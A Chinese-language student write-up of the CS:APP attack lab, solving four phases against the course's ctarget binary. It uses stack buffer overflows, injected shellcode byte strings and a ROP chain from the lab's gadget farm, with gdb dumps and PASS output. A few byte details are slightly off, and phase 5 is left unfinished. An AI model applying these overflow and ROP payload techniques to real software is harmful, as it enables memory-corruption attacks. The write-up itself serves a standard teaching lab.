[csapp官网]http://csapp.cs.cmu.edu/3e/labs.html
[15213_pdf]http://www.cs.cmu.edu/afs/cs/academic/class/15213-f15/www/schedule.html
phase_1
使用gdb调试查看getbuf函数
(gdb) disas getbuf
Dump of assembler code for function getbuf:
0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: callq 0x401b60 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: retq
End of assembler dump.
通过阅读汇编代码,可知stack大小为0x28,即40个字节,所以只要填入40字节后的就是我们的返回地址。
(gdb) disas touch1
Dump of assembler code for function touch1:
0x00000000004017c0 <+0>: sub $0x8,%rsp
0x00000000004017c4 <+4>: movl $0x1,0x202d0e(%rip) # 0x6044dc <vlevel>
0x00000000004017ce <+14>: mov $0x4030c5,%edi
0x00000000004017d3 <+19>: callq 0x400cc0 <puts@plt>
0x00000000004017d8 <+24>: mov $0x1,%edi
0x00000000004017dd <+29>: callq 0x401c8d <validate>
0x00000000004017e2 <+34>: mov $0x0,%edi
0x00000000004017e7 <+39>: callq 0x400e40 <exit@plt>
End of assembler dump.
通过查看touch1看到函数首地址位4017c0,注意,linux是小端法,所以得出解答:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40
将文件写入 phase_1.txt后,使用hex2raw转化为字符串输入:
root@ubuntu:/home/rayap/Templates/target1# ./hex2raw < phase_1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40
phase_2
首先我们在运行时知道我们需要设置cookie为:0x59b997fa。
本次我们需要使用return调用touch2,并且调用前需要将参数设置成cookie值。我们需要做的是修改我们输入的buf,并且将buf修改成我们需要注入的汇编指令,最后函数返回时直接返回到我们的buf执行我们的注入指令。
注入的指令首先将rdi设置为cookie值,并将touch2地址压入栈中在return后返回,,touch2的地址为ec1740,将其写入phase_2.s中,所以修改内容如下:
movq $0x59b997fa, %rdi
pushq $0x4017ec
ret
而后生成输出文件后反汇编查看对应汇编代码:
root@ubuntu:/home/rayap/Templates/target1# gcc -c phase_2.s
root@ubuntu:/home/rayap/Templates/target1# objdump -d phase_2.o
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq
我们有了需要注入的汇编码后,需要知道此buf地址以运行注入指令,方法如下:
(gdb) b getbuf
Breakpoint 1 at 0x4017a8: file buf.c, line 12.
(gdb) run -q
Starting program: /home/rayap/Templates/target1/ctarget -q
Cookie: 0x59b997fa
Breakpoint 1, getbuf () at buf.c:12
12 buf.c: No such file or directory.
(gdb) disas
Dump of assembler code for function getbuf:
=> 0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: callq 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: retq
End of assembler dump.
(gdb) info r $rsp
rsp 0x5561dca0 0x5561dca0
由于rsp被减少了0x28,可以计算出其首地址为0x5561dc78,我们要做的是首先将注入代码写入buf后,而后使函数返回回buf首地址。
48 c7 c7 fa 97 b9 59 68 ##注入内容
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 ##buf首地址
root@ubuntu:/home/rayap/Templates/target1# ./hex2raw < phase_2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
phase_3
phase3与phase2区别是此题首先需要将cookie值转换成对应第ascii码后,记录在栈中,随后作为参数传入touch3。
touch3地址和cookie 中记录的 0x59b997fa 对应的 ascii 码
00000000004018fa <touch3>:
35 39 62 39 39 37 66 61 00
此题注入代码为与上面相似,字符串地址为5561dca8,即原本栈指针+8后第位置:
movq $0x5561dca8, %rdi
pushq $0x4018fa
ret
将文件gcc编译后进行反汇编得到汇编代码:
root@ubuntu:/home/rayap/Templates/target1# gcc -c phase_3.s
root@ubuntu:/home/rayap/Templates/target1# objdump -d phase_3.o
c_level3.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: 68 fa 18 40 00 pushq $0x4018fa
c: c3 retq
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00 ##注入代码的内容
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 ##buffer的地址,从上一题可得知
35 39 62 39 39 37 66 61 ##字符串内容,地址为0x5561dca8
00
phase_4
从第四题开始,我们只能使用ROP方式进行解答,只能使用代码中存在的内容截取部分来凑我们需要的代码。
基本操作的对应汇编:
所给文件中提示只需要从以下内容中即可找到需要的代码:
0000000000401994 <start_farm>:
401994: b8 01 00 00 00 mov $0x1,%eax
401999: c3 retq
000000000040199a <getval_142>:
40199a: b8 fb 78 90 90 mov $0x909078fb,%eax
40199f: c3 retq
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 retq
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq
00000000004019ae <setval_237>:
4019ae: c7 07 48 89 c7 c7 movl $0xc7c78948,(%rdi)
4019b4: c3 retq
00000000004019b5 <setval_424>:
4019b5: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi)
4019bb: c3 retq
00000000004019bc <setval_470>:
4019bc: c7 07 63 48 8d c7 movl $0xc78d4863,(%rdi)
4019c2: c3 retq
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq
00000000004019ca <getval_280>:
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax
4019cf: c3 retq
00000000004019d0 <mid_farm>:
4019d0: b8 01 00 00 00 mov $0x1,%eax
4019d5: c3 retq
由于不能直接运行我们的代码,所以处理cookie值,我们不能再像之前直接跳转到cookie值,而是需要将cookie值放在栈中,并通过pop存入寄存器。
我们可以看到58对应的是popq %rax,其地址为4019ab, movq %rax, %rdi是48 89 47,对应地址为4019a2,因此,对应的栈内内容应该是
popq %rax 58
59b997fa #出栈,存贮到rax中
movq %rax, %rdi #rax内cookie值移动到rdi中
touch2() #调用touch2
我们可得到如下解答:
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
phase_5
暂时没做。。